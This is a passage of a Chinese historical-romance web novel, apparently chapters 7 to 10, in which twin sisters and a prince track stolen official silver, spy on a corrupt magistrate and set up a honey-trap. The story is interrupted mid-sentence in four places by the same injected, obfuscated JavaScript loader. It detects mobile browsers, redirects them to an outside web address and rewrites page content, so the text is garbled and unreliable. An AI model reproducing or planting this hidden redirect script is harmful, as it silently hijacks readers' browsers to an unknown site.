雨势越来越大,天空中风雨大作,电闪雷鸣,浇灭了江晏手中的火把,四周瞬间暗了下来。雷声越来越响,林默言的心也跟着越来越慌乱,她此刻已经几乎失去了理智。语儿害怕打雷声,此刻她的情况肯定非常不乐观。 林默言顿时乱了方寸,不顾一切的向前跑。四周漆黑一片,几乎看不清前路,林默言慌乱之中不慎被绊了一下,险些倒地。身后的江晏眼疾手快,迅速扶住了她。 见她还想跑,江晏拉住了她,喊道:“跑这么快,你不要命了?” “不用你管我!”林默言甩开了江晏的手。在一片电闪雷鸣中,林默言的语气尤为冷冽。江晏一时产生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485239|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错觉,眼前之人到底是默言还是默语。 “林默言,你先冷静一点!”江晏紧随其后跟了上去。见他跑的如此之快,江晏担心她摔倒,伸手牵住她的胳膊,拉着她完美避开障碍。 默言默语从出生起就基本上形影不离,但她们也曾分开过一段时间。等她们再次重逢时,林默言感觉到妹妹整个人都变了,有了一种不符合当时年龄的冰冷,也没有那么爱笑了,这种变化一直持续到了现在。问她那些天到底发生了什么,她却什么的不肯说。直到某天一个雷雨交加的夜晚,林默言看到了脸色苍白,缩成一团瑟瑟发抖的林默语。可是越之前从不害怕打雷,她隐隐猜想妹妹是受到了刺激。林默言眼睁睁的看这张她痛苦不堪直至晕倒,自己却无能为力。后来每逢打雷时林默言都会陪在语儿身边,将她紧紧抱在怀里。语儿的描述,每次打雷时都仿佛劈在了自己的脑袋上,头痛欲裂,痛不欲生。如今的这般境况,怎能不让她担心? 林默言的方向感并不是很好,再加上接的这种情形,若是只有她一个人在此很大可能会辩不清方向。于是她便跟着江晏走。可两人走了一夜,都没有看到林默语的身影。 此时天已蒙蒙亮,奔波了一夜,林默言感觉自己的腿仿佛有千斤重。不仅是她,这样一夜下来,江晏也有些许受不了。但林默言一刻也不愿意停歇,江晏就陪着她一直走。雨已经停了,空气中弥漫着雨停后清新的草木气,但江晏却闻到了一丝血腥的气味。 前方有一个低矮的坡,江晏感觉到不对劲,示意林默言停下,他走上前去查看。江晏小心戒备着,走近一些后隐隐看到一个人躺在下面,衣服已被泥水浸染,但也能看出与林默言身上的那件相同。江晏瞬间松了口气,下去扶起了林默语。 看到身处泥潭之中的语儿,林默言连滚带爬的扑了过去,将她扶稳靠在自己怀里。见她身上有一片血迹,林默言忙慌乱的查看,好在只是胳膊上的一些皮外伤,林默言才终于松了口气,为语儿擦去了脸上的泥巴。语儿的身体异常冰冷,林默言将她紧紧抱在怀里。 江晏见此情景,略微放下心来,说道:“你们先在此等候,我去将马匹和行李找来。” 林默语还未清醒,林默言不敢合眼。在江晏去了近一个时辰后,林默语才幽幽转醒。一睁眼,看到了姐姐布满血丝和泪痕的眼睛。 “语儿,你终于醒了,吓死我了。都怪我不好,我不应该离开你的。”林默言的眼眶再次泛红。 林默语勉强起身抱住了她,安慰道:“没事的姐姐,我这不是好好的吗。”随后她看到姐姐的手上有大片的划痕,血迹干涸,已经结成了血痂,身上还披着一件男子的衣服。 “姐姐,你的伤……这是怎么回事?”林默语问道。 林默言隐隐记得她昨晚在奔波时似乎是被枝叶划了几下,但她没有在意。现在如果不是语儿提起,自己都快忘了这回事,此刻才意识到自己的手在隐隐作痛。 “只是不小心划了一下,不要紧的。”林默言说道。 “那这个衣服呢?”林默语问道。 “这个是江晏的,他现在去帮我们找行李了。” “江晏?他为何会来?”林默语记得姐姐说过江晏是黎国的八皇子。 “是秦初让他来的。”林默言回答道。 听到是秦初所托,林默语心中了然,没有再继续追问。 8. 第 8 章 “语儿,你到底为何会跑到这里来?还受了伤?“林默言询问道。 提起这个问题,林默语微微头痛,伸手扶了一下额,然后说道:“姐姐,我看到那个胡人了。我想知道他为何会出现在这里,便小心的跟在他身后,确保没被他发现。可是途中突逢打雷,我一时不慎掉下那里,人也跟丢了……” 见她有些自责,林默言抱住她道:“这些都不重要,我只要你好好的。” 林默语此刻的状态稍微好转了一些,拍拍林默言的肩说道:“姐姐,你也累了,休息一会吧。” 找到林默语之后,林默言紧绷的弦才终于松了下来,此刻才感觉到有点累了。江晏去寻马匹,一时半会儿回不来,林默言便靠在一棵树下休息一会。 这一合眼,再睁眼时就已是晚上了。林默言一抬眼,看到了靠在她身边的语儿,以及前方不远处的江晏。这一番奔波下来,数江晏走的路最多,他此刻也已经筋疲力尽,靠在一颗大树下静静休息。连夜的奔波之下,此刻的江晏比起平时略显狼狈,发丝微乱交织,衣襟也不甚齐整。这番姿态,削弱了他平日里那份盛气凌人的气质。在闭上眼睛时,整个人都柔和了下来。月光洒下,勾勒出他如美玉般的面容轮廓,宛如雕刻般精致,周身散发着淡淡的光泽。林默言看向他,突然觉得他这样安静休息时还挺好看,挺顺眼的。 此刻林默言的身上还披着江晏的披风,她轻手轻脚的站起身来,走到江晏身旁,解下披风轻轻披在江晏身上。可任凭她动作一再轻柔,江晏还是醒了。 江晏看着她那小心翼翼的模样,笑道:“你这是在,关心我?” 江晏一醒来就和她贫嘴,换在平日里林默言肯定要和他斗嘴一番的。但今天看在他这么辛苦的份上,林默言就没有故意呛他,而是说道:“这次幸好有你在。谢谢你,江晏。” 这样一来反倒搞得江晏有些无所适从了,江晏也没再嬉皮笑脸,而是说道:“其实你不用这么一本正经的和我道谢。” “你先好好休息吧,我就不打扰你了。”林默言说道。 林默言刚想回到语儿那边去,一转身,江晏突然轻轻抓住了她的手腕。这一抓,虽没碰到手上的伤,但林默言还是疼的面部表情微微扭曲了起来。 只见江晏站起身拿出一小瓶药小心的敷在林默言的伤口上,撕下披风一角替她包扎好,随后放开她的手。动作轻柔,也没有一丝失礼之处。 “你的伤口,尽量小心一些。”江晏说完后,便回到了原地方坐下。 林默言愣神片刻,也回到了语儿身边。 第二日清晨,三人分着吃了一些干粮,不过更确切地说应该是“湿粮”,行李早已被大雨浸湿。但此刻必须要填饱肚子才有力气赶路,便都没有嫌弃。修整一番后,三人继续赶路。 行进半日,虽距许州芜山县还有一些距离,但也终于到了有人烟的地方。几人终于找到了一家客栈歇脚,顺便商议一下此去许州芜山县的对策。 经历了几日的风餐露宿,终于能歇一会。林默言先是换了一套衣服,随后和语儿一起去找江晏商量对策。林默语道出了自己那日晕倒前的所见所闻,江晏听后,沉默着思量片刻,问道:“你说的那个胡人,是不是下颚有一道很长的疤痕?” “的确有,你怎么会知道?”林默语微微震惊道。 “因为那是我砍的。”江晏淡淡的回答道:“你所见到的那人,应当是鲜卑大单于的儿子拓跋宇,我曾与他交手过,只是可惜没能取他性命。” 黎国与漠北的战事两姐妹也是略有耳闻的,只是没想到带兵之人竟是江晏。江晏平日里看着是一副闲散的做派,但真出起手来却是毫不留情,凶悍无比。林默言暗暗咂舌,她与江晏交手过,虽没动真格,但也能看出他身手不凡。 “若此次事件真的与拓跋宇有关的话,那可就有点麻烦了。”江晏说道。 “鲜卑一族的使节团还未抵达京城,他怎么会出现在这里?”林默言问道。 “只恐如秦初所想那般,来者不善。”江晏说道。 林默语一边听着两人谈话,一边也在心中暗自分析,说道:“无论如何,且先查清官银一案吧。太子殿下说过此事与国师容玦有关,恐怕不只是贪污那么简单。” 三人简单商议过后,各自回房休息。第二日一早,动身前往许州芜山县。 到达芜山县之后,先是分头各自探查了一番。江晏去查探有没有暗自驻扎的胡人,默言默语则去芜山县的县令府探了探。 未曾想小小一个县令府规模竟如此之大,规模都快赶上丞相府了,陈设更是尤为铺张,而且看着像是一座新宅子。芜山县却如此落后,看来此地的县令范崇没少私吞公款。更诡异的是,青天白日,一个小小的县令府竟有重兵把守。两人为避免打草惊蛇,并没有深入县令府,只在外围查探了一番。确定实在没有机会深入后,两人离开县令府前去与江晏碰头。 “芜山县内,并未发现有胡人驻扎。”江晏向她们简洁的说明了情况,随后问道:“你们那边情况如何?” “不对劲,有十二万分的不对劲。那县令府有重兵把守,根本无法深入。”林默言说道。 “莫慌,现在青天白日太过明显。待到深夜,守卫应当会有松懈,到时我有办法闯进去。你们在外等候,我先进去探探虚实。” “凭什么是你进去,我在外面等着?”林默言有点不乐意了,叉腰道。 “我去的话,更加稳妥一些。”江晏说道:“你要是不服的话,我们再比试一场。你要是能打赢我,我就让你进去。”江晏对着林默言非常欠揍一笑。 “你!”林默言很生气,但奈何自己确实打不过他。 到了夜晚,三人再次来到县令府。江晏健步如飞的翻身上墙,潜了进去。林默言和林默语在外面等待着。 江晏一路小心摸索着向前,绕开了大片守卫,再悄无声息地放倒了必经之路上的几个,来到了范崇的居所前。只见房间内灯火通明,窗户上一个肥胖发福的倒影正在原地焦急的团团转。江晏悄无声息接近,隐匿在了暗处。 林家二姐妹亦守在府外暗中洞察着。约半个时辰之后,一个身穿便服的胡人从大门走了进去。他的衣领很高,但林默言还是注意到了他下颚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485240|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疤痕,此人应当就是语儿和江晏所说的拓跋宇。 江晏看着拓跋宇走进了那灯火通明的房间,待他关门后小声的跟了上去,趴在房檐上窃听他们在说什么。 拓跋宇进门之后,见是范崇,皱眉道:“你是何人?国师呢?” 范崇谄媚行礼道:“王子大人,小的是芜山县令范崇。国师大人在朝中还有要务无法前来,便叫小的负责在此接待您。” “国师就是这般糊弄本王的?”拓跋宇不悦道。 “王子大人放心,小的虽不及国师大人,但办事也很稳妥,银子已经给您送出去了。” 江晏凝眉沉思,小小一个县令,竟敢与胡人勾结,原来背后是有国师指示。距传言,西启国师容玦近来颇受皇帝信任,若是这样一个位高权重者通敌的话,西启可就麻烦了。 林默言在外焦急的等待着,她的耐心非常有限,如今江晏还不出来,所剩无几的耐心也消耗殆尽。她实在是有点担心里面的情况,向林默语使了个眼色。林默语瞬间明白她要做什么,伸手去拦,却终究是拦不住姐姐。林默言轻功了得,玉足轻点,顷刻间便已飞身上墙。林默语为避免打草惊蛇,只得禁了声,站在原地焦急等待。 林默言轻手轻脚向前,发现江晏已经扫除了诸多障碍,她这一路潜行的还算轻松。行进一段路之后,林默言来到了县令的居所。通过窗户的剪影能看见两个影影绰绰的人似在对话,林默言纵身轻巧一跃,翻上屋檐。 谁料屋檐的暗处竟早已蹲了一个人,林默言先前没有注意到,被这突然出现的人险些吓了一跳,差点惊叫出声。 江晏赶紧捂住了她的嘴,轻声说道:“是我。你怎么偷偷跑进来了,不是让你在外面老老实实等着吗”其实江晏也有所预料到林默言不会如此听话。 林默言堪堪闭了嘴,只怒目瞪着江晏。末了,两人一起听着屋内的动静。 屋内的谈话声很小,时隐时现,很多内容听的不甚清楚。但隐约听着,似乎没那么愉快。 “这个数目似乎与国师所说不一样吧,少了一部分。”拓跋宇森森笑着看向范崇,心中了然那一小部分去了哪里,没想到这人竟如此胆大包天。 “这……这……”范崇颤颤巍巍道:“下官也只是奉命办事,下官实在是不知道啊。” “呵,罢了。”拓跋宇冷笑,他也懒得去计较那一小部分蚊子腿。容玦的作风他清楚的,断不会出现此等识人不清的错误。或许让范崇侵吞那一小部分是有意为之,选择任用他也是别有深意。 “……听他们所说,官银应当已经被运走了。再想寻找,无异于大海捞针。“林默语满面愁容的小声说道。 “不必担心,先盯一下拓跋宇的动向。”江晏轻声道。 片刻后,拓跋宇从房中走了出来。 “我去追踪拓跋宇,你先去找林默语汇合。我会在一路上留下记号,你们来接应我。”江晏说道。 林默言这次没和他唱反调,明白此事事关重大,爽快点头答应。待拓跋宇走出一些距离,江晏和林默言悄无声息的跟上。江晏继续追踪拓跋宇,林默言去找妹妹汇合。 9. 第 9 章 江晏料定跟着拓跋宇会有所收获。一来他答应了秦初要帮忙,二来他也有自己的小心思想要借此接近林默言。况且拓跋宇是他的敌人,所谓敌人的敌人就是朋友,出于种种原因,西启的这个忙他帮定了。若能看到拓跋宇吃瘪,他也会很开心。 江晏能将拓跋宇砍成那个样子险些毙命,那就早已说明他的身手在拓跋宇之上。而且江晏素来喜好练武,轻功了得,故一路上都悄无声息的没被拓跋宇发现。拓跋宇和西启国师应当不会平白无故选择许州芜山县这个地点接头,所以芜山定有些许猫腻。只要跟着拓跋宇,说不定会有所收获。 江晏跟着拓跋宇走了许久,果然发现了一处胡人安营扎寨的地点。芜山县本就偏僻,这里更是异常偏僻,怪不得江晏在白日巡查时没有发现。 眼看着拓跋宇进了营帐,江晏没有再跟,选择去营地里探探情况,顺道看看官银在不在这里。 此地驻扎的胡人数量并不是很多,笼统约有百人,应当只是一个临时的驻扎点,或是还没有完全建成。前方有一个较大的库房,门外有几人把守,江晏思忖片刻,决定过去一探究竟。 门前的侍卫临近换班驻守时间太长现已经昏昏欲睡,江晏先是快准狠抹了一人脖子,那人当场倒地再无生息。一旁的人发现了不对劲,还未惊呼出声,就已经再没有了能发出动静的机会。这里过不了多久就定会被发现,留给他的时间不多。江晏看准时机,潜入了库房。 一入门,发现这竟是一个粮仓,里面堆满了粮草。江晏巡视了一圈,并未发现官银的踪迹,难不成已经被运走了?但他还未来得及细细思考,外面就隐约传来了动静,似乎是有人发现了这里不对劲。江晏干脆点燃了几个火把,一齐扔入粮草堆里。无论胡人有什么企图,一把火烧了这里总归对他们有好处。 火把落下,顷刻间引燃草堆,连带着装粮食的袋子也开始熊熊燃烧。就算烧不尽,也不会留下多少。外面的人已经快要破门而入,做完这些,江晏立即逃了出去。 拓跋宇刚入营帐还未坐稳便听下属传唤了粮仓起火一事,火速赶了出去。彼时已经烈火滔天,整个库房都快要沦陷。漫天火光之中,拓跋宇看到了一个奔逃而出的身影。那身影他再熟悉不过,正是与他有着不共戴天之仇的江晏,化成灰他都认识,绝对不会认错。 拓跋宇眉头深锁,吩咐一队人马去灭火,带领着其余人向江晏追去。江晏为何会出现在这里?此时他不应该在洛阳吗?拓跋宇来不及多想,飞身跨上马,纵马疾驰向前。 江晏仅靠两条腿定然比不过拓跋宇的宝马,很快便缩短了距离。拓跋宇在马背上拉弓,瞄准江晏。几支箭矢飞驰而过,江晏险险避开。江晏心中暗道不妙,拓跋宇射艺之精湛,他是领教过的。 果不其然,拓跋宇如连珠弩一般数箭齐发。江晏一时躲闪不及,被一支箭矢擦中臂膀而过。拓跋宇看准机会,蓄力一箭直射江晏脑袋。这一箭他使出了十足的力道,若是中了江晏必死无疑。 正待江晏想计策躲闪之时,侧旁的密林之中飞出一支箭矢将拓跋宇射出的箭一下子击穿,落到地上。江晏还未来得及愣神,前方一人一马奔腾而来。那人伸出一只手把江晏拉上马,再飞速调转马头疾驰入林。 “还好还好,幸亏我来得及时。”林默言现在还有点心惊肉跳,方才那一箭差点就要射中江晏了,多亏了语儿射艺精湛。 拓跋宇还在后面追,眼下甩开他逃命要紧。江晏不多废话,伸手夺过林默言手中的马缰,将她拥紧,便开始策马疾驰。林默言心中了然,没有多说什么,将主动权交给了江晏。 “语儿在另一条道上等我们,我们快去找她汇合。”林默言微微向后转头对江晏说道。 “好,知道了。”江晏言简意赅的应答,两人难得有如此一本正经合作的时候,平日里多数是在掐架,林默言一时竟有点不习惯。 江晏一路疾驰,终于将拓跋宇甩在了身后。他调转马头向一条小道行进,带着林默言前去寻找林默语。所幸林默语也平安赶了回来,三人终于得了空闲喘口气。江晏下马,伸手将林默言也拉了下来。此时林默言才注意到,江晏的一条胳膊已被鲜血浸湿。 “你……不要紧吧?”林默言伸手想为他简单处理一下。 江晏按下了她的手,说道:“无碍,一些皮外伤而已,回去再处理也不迟,先不必为此浪费时间。”林默言闻言只得讪讪垂手。 林默语在一旁观看情形,终于有机会插了一嘴问道:“江晏,方才你有何进展?找到那批官银了吗?” 江晏摇了摇头,说道:“那批官银兴许已经被他们运走了,并未寻到踪迹。时间紧迫,我方才只来得及防火烧了他们的粮草。” “如此也可,算是伤了他们的元气。今日就先到这里吧,待明日我去许洲衙门调兵前去清缴。”林默言说道。 三人回了客栈修整。林默言犹豫着要不要去帮江晏处理伤口,但此举多有不妥,江晏也说了不用帮忙他自己来就好。林默言左思右想,最终没有过去。 第二日,林默言凭借着太子信物调兵前往芜山清理余孽。到达昨日的地方时,已经人去楼空,唯余火烧后的废墟了。 拓跋宇在没有追到江晏后,带众重新回到营地。他知道行踪已经暴露,此地不宜久留。横竖粮草已经被江晏烧的差不多了,他干脆添了一把火将这里烧个干净。反正此行的主要目的官银他已经拿到手了,留得青山在不愁没柴烧。 于是线索便又在此断了,林默言看着满地残渣愁容满面,一时不知如何是好。追查了这些时日,仿佛又回到了原点,官银罪证都没拿到。一切都好似被大火焚烧干净。 “想开点。”江晏轻轻拍了拍她的肩说道:“好歹是把芜山潜伏的胡人逼退了,说不定还阻断了他们的某些阴谋。” 林默言调整思绪,长呼一口气,说道:“也对。那么官银一案,继续从范崇下手吧,依昨日所闻,他应该也私藏了少许。先捉拿了他,也算是除了容玦的手下,为我们扫清了一些障碍。” 江晏闻言,赞许的点了点头。“那么便依林大小姐所言。” 如今的当务之急,是先找出范崇私藏的那批官银的下落,再将他缉拿。三人商议片刻,决定让江晏先潜入县令府,查探一下官银所在。三人再来县令府时,县令府已不似昨日那般重兵把守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485241|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想来那些军队是容玦所派保护交易进行。如今拓跋宇已走,军队自然也就撤了。如此一来,倒也方便了他们潜入,三人便一起翻墙入内。 林默言向江晏和林默语使了个眼色,示意三人分头行动,三人便默契的各自寻了方位前去探查。林默言一路小心的向前,寻找账房所在。 江晏已经摸索到了账房所在,打晕守卫后径直走了进去。四处寻找一番,只找到了几箱碎银。朝廷拨的官银底下都是有特殊标记的,料范崇也不敢直接光明正大放在这里,应该是藏到了别处想要融掉重铸。 正当江晏想要寻找更多的线索时,林默言也鬼鬼祟祟的摸了进来。林默言看到江晏又比她快了一步,内心极为不平衡。 “有找到什么线索吗?”林默言叉腰问道。 江晏一眼就看穿了她的小心思,笑道:“还没有,官银不在这里。” 林默言微微有点抓狂了,说道:“怎么这么麻烦啊,我真的好想直接调兵来捉拿了他。” “先冷静,捉拿他并不算难事。只是事后万一他咬死不认,我们又没找到官银下落,岂不是得不偿失了?眼下还是先找到物证吧。” “谁知道他有没有藏在府中,万一没有,这不就是大海捞针了吗?”林默言冷静下来分析道。“算了,先回去吧,找语儿一起重新商议对策。” 林默言和江晏一起出了账房,正巧撞上了在另一片区域查探完毕摸索到账房的林默语。两人向林默语说明了情况后,一起回了客栈。 三人简单吃了一顿之后,林默言突然一拍桌子站了起来,说道:“我有一记。听闻芜山县令范崇极其好色,常常流连于风月场所,沉溺于温柔乡时嘴上也时常没把关,什么都往外说。依我看,我们不如使个美人计。” 闻言,江晏皱了皱眉,反对道:“不行,不必牺牲如此之大。万一遇到危险了怎么办?” “姐姐,我也觉得这个方法不甚高明……”林默语附和道。 “先别急,听我说完。”林默言不理会他们的反对,继续说道:“我们的目的,是找到官银的下落以及收集幕后黑手的罪证。到时我冒充成舞姬接近范崇去套话,你们在暗中守着随便还能保护我。等我套到消息,再让语儿进来掉包我,我和江晏一起去查探是否属实,然后再一起回来接应语儿,拿下范崇。如何?” 还未等两人开口,林默言又继续滔滔不绝道:“再说了,我和语儿的身手都不差,还能被一个小小的县令占了便宜不成?” 林默语听后思忖片刻,说道:“好吧,那我听姐姐的。” “舞姬?你们会跳舞吗?”江晏还是觉得不妥,故意找茬道。 “当然,我们好歹是大家闺秀,学过一些的。只是我没有姐姐那般精通,不善舞艺。”林默语在一旁说道。但江晏却突然意识到,其实会不会跳舞根本不是重点,她们二人只需站在那里,就足以令众生倾倒了。 江晏最终还是没有争论过林默言,很是无奈的替她们去安排一些事宜,买通青楼的老鸨。听闻此地的老鸨时常为范崇献美人,借助老鸨之手进入县令府再好不过。林默言和林默语则去换了一套一模一样的舞衣。 10. 第 10 章 舞姬的衣服略有些暴露,后腰的部分露了一大片,林默言微微有些不自在,心中暗道这次牺牲确实有点太大了。而且她家语儿也要穿成这样,他实在无法忍受别人不怀好意的盯着自家妹妹看。看着换好衣服风华绝代的语儿,她已经有些后悔自己出了这个馊主意。但如今箭在弦上不得不发,只能硬着头皮上了。 江晏去青楼寻了老鸨,称有绝色美人向县令进献。老鸨一听,连忙放下手中的水烟枪跟着江晏走了出去。 听到外面有动静,林默语连忙藏了起来,林默言则整理仪态,正襟危坐等待着。老鸨随江晏推门进来,第一眼就看到了前方坐着的林默言。她身着鲜红的舞裙,皮肤白皙,肤如凝脂。面若桃花,眉眼如画,一抹红唇更是娇艳欲滴。望向老鸨时眼神略带一丝羞涩,美目盼兮,媚眼如丝。 老鸨看着林默言,微微呆住了。她经手青楼这么多年,确实从未见过如此出尘的绝色美人。江晏看到林默言的这幅打扮,眼前一亮,也有几分移不开眼。 “你是说,要将她献给县令?”老鸨上下打量着林默言。 “小女子不过是想攀些富贵,还望成全。”林默言开口,声音悦耳,更显娇媚。 “好啊,那我就成全你。”老鸨心花怒放,她之前也曾向范崇进献过美人,每次都能得到一笔钱财。此等美人,县令必定重重有赏。 林默言跟着老鸨走了出去,往门外一看,江晏很贴心的给她准备了一顶轿子。正好她不想穿成这样四处走,林默言心中一暖,回眸望向江晏。江晏冲她微微一笑,挑了挑眉。 林默言进入轿子,带上面纱,听着江晏在外面和老鸨打圆场。 “我只负责引荐,邀功的事我就不去了。事成之后,分我一些钱财就好。”江晏对老鸨说道。 两人交谈了一会儿,老鸨吩咐轿夫起娇。林默言挑起帘子,看着江晏的身影离她越来越远。江晏站在原地看着她莞尔一笑,示意她安心。 林默言走后,江晏进去寻找林默语。林默语此时已经找了一件外衣穿在身上,遮住了这惹眼的舞裙。此时她点着美人痣,模样与林默言别无二致,但周身散发的气场却与林默言并不相似。江晏无法从她二人脸上看出任何区别,平日里都是靠着二人的言行气质做出区分。林默言更加活泼爱笑,看到他时也喜欢同他拌嘴几句,而林默语则更加沉稳一些。 两人简单说了几句,沿着一条小道偷偷潜入县令府。 轿子一路摇摇晃晃抬到了县令府,老鸨命人停轿,先一步走了进去。不一会儿,老鸨跟着一个中年发福的男人走了出来。 “奴家跟您讲啊县令大人,这次的货不同以往,包您满意的。”老鸨满脸堆笑的对范崇说道,十分殷勤谄媚。 “哦?是吗?”范崇急不可耐的走到轿前,饶有兴趣的挑开帘子。只一眼,范崇就沦陷了。轿子里的美人红衣似火,身材凹凸有致,气质出尘,不染一丝世俗气,仿佛不食人间烟火的仙女。虽是用面纱遮住了面容,但一双明媚的桃花眼却是媚眼如丝。面纱掩面,更添朦胧之美。 “快!抬进去!”范崇垂涎三尺,眼睛都快要看直了。吩咐起轿后对老鸨说道:“做得好,重重有赏!重重有赏!”随即跟上了美人的轿子。 老鸨欢天喜地的去领了赏钱,转身离开了县令府。 轿子在县令府的院中停了下来,林默言缓步走出,忍着打人的冲动向范崇行了一个礼。 范崇急不可耐的迎了上去,林默言一边轻巧躲闪着一边说道:“请允许小女子先向大人献舞一曲。” 范崇直勾勾的盯着眼前的美人,满嘴应好,一拍手叫来乐师开始奏乐。林默言便开始跟着乐声翩翩起舞,如火的红色裙摆随风轻轻摇曳,如同绽放的火焰般绚烂夺目。她的身姿轻盈,体态优美,随着有节奏的乐声舞动着,舞姿曼妙,柔美却又充满力量感。翩若惊鸿,婉若游龙。让人不禁觉得只有那首流传千古的“北方有佳人,遗世而独立,一顾倾人城,再顾倾人国”才能将此描绘。 江晏和林默语潜伏在暗中看着这一幕。江晏颇感遗憾,自己没能近距离看到林默言跳舞。 舞动的林默言突然摘下了自己的面纱,轻盈的转动一圈后将面纱抛到了范崇的脸上。暗中的江晏观察到她在转身时有一个将面纱拢入袖中的动作,瞬间明白了她的用意。原来在此之前林默言就在袖中藏了一包迷魂药。 范崇抓住抛过来的面纱嗅了一下,奇香无比,芳香醉人,令他不禁神魂颠倒,抓住那面纱疯狂的闻。 林默言继续起舞,一袭如火的红衣映衬着她绝美的容颜,更显风华绝代,令人为她倾倒,为她着迷。范崇更是沉醉于其中,无法自拔。 一曲完毕,林默言倒了一杯酒笑着走向范崇。她害怕刚才的量不够,再在酒里加了些料。林默言笑颜如花,哄着范崇一杯杯酒喝下肚。观察他已有几分迷糊了,便开始套话。 江晏和林默语还在一旁等待着,江晏思索片刻,觉得还是应该对上次的事情道个歉,于是他开口对林默语说道:“上次的事对不起,我认错人了。” 林默语想了想,听出他说的是在洛阳初见时打的那一架,说道:“所以说你是想打我的姐姐?你为什么要打她?” “这个嘛……”江晏一时竟不知从何说起,组织了一下语言继续道:“一时说不清楚,总的来说就是发生了一些误会,她抢了我的钱。” 林默语皱了皱眉,说道:“我姐姐欠你多少钱?我赔给你。两倍,不,直接十倍。” 江晏听到这句话差点笑岔气,因为林默言也曾说过一模一样的话。林默语一脸无语的看着他笑成这样,丝毫没有体会到哪里好笑了。 江晏拼命忍笑道:“哈哈……没事,没什么,只是觉得你们姐妹两个还挺有意思的。我们还是赶紧办正事吧。” 林默语不想再理会这个莫名其妙的家伙,专心看着姐姐那边的情况。待姐姐发出指令就说明计划成功了,她就过去把姐姐替换下来。 另一半,范崇一边说话一边想对着林默言动手动脚。林默言强行保持着笑容,一边倒酒一边躲开。范崇察觉到了她的躲闪,皱了皱眉,有些生气的问道:“美人为何躲躲闪闪?” 林默言故作羞涩道:“大人,青天白日的,小女子有些害羞……” 范崇闻言大笑了起来,反正现在天色尚早,他也不急于一时。就这样看着美人也很赏心悦目。 该套的话林默言已经套到了,她轻轻叩响了手腕上的玉镯,发出很小的清脆声响。这是她和语儿提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485242|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商量好的暗号,林默语听到后立马悄无声息的摸了过去。 对于怎样毫无破绽的掉包,林默言心生一计,倒了一杯酒假意接近范崇。范崇在迷魂药和酒的加持下意识已不太清醒,林默言神不知鬼不觉的摘下了他腰间的玉佩,再将头上的一根本就没有绑好的发带扬了出去,发带被风吹到了门口。林默言假意去捡发带,捡到后故意向门外看了一会儿,然后走了出去。 林默语站在一棵树后等着他,林默言赶紧跑了过去,将手中的发带和玉佩交给了语儿。无需多言,林默语立刻就明白了姐姐的意思,言简意赅的向她描述了江晏的方位,脱下外衣给她,然后两人一前一后向着两个方向走去。林默语为了不露破绽,还顺手解掉了和姐姐相同位置的那根发带。 刚好此时范崇追了出来,林默语赶紧迎了上去避免他发现异常。 “美人为何突然跑出来?” 林默语立刻堆起了笑容。她虽不爱笑,但必要的时候她也可以笑的明媚动人。她拿出姐姐刚才给她的玉佩说道:“刚才在门外看到一个玉佩,不知是不是大人的。” 范崇一摸腰间摸了个空,一看这玉佩果真是他的,说道:“美人真是慧眼如炬。”说罢眼睛依旧不老实的在林默语身上乱看。林默语虽很不自在,但还是满脸堆笑说着奉承的话,跟着范崇走了进去。 林默言穿上外衣十分小心谨慎的来到了语儿所说的方位,江晏正一脸焦急的等待着她。见林默言来了,终于松了口气。 “怎么样?问到了吗?”江晏说道。 林默言点点头,回答道:“我属实没有料到,官银竟还在县令府中,只是藏到了粮仓的地底下。” “……是挺刁钻的。”江晏也没有料到。 之前在县令府探查时江晏已经知道了粮仓的具体方位,带着林默言一起前往。走了一会儿后,两人来到了一个大仓库前。但这里却并没有人把守,只是用铁链把门绑了起来。两人走进一看,铁链上还有一把锁。 林默言研究了一下,觉得这么粗的铁链很难徒手弄断,江晏看了看也觉得手无寸铁很难弄开这样的链子,那就只能从锁上下手了。正当林默言苦恼时,江晏不知从哪里弄来了一根细细的铁丝,对着锁口就开始戳。林默言正想嘲笑他异想天开,片刻后锁却啪嗒一声掉在了地上。林默言脸上的嘲笑立马转为震惊。 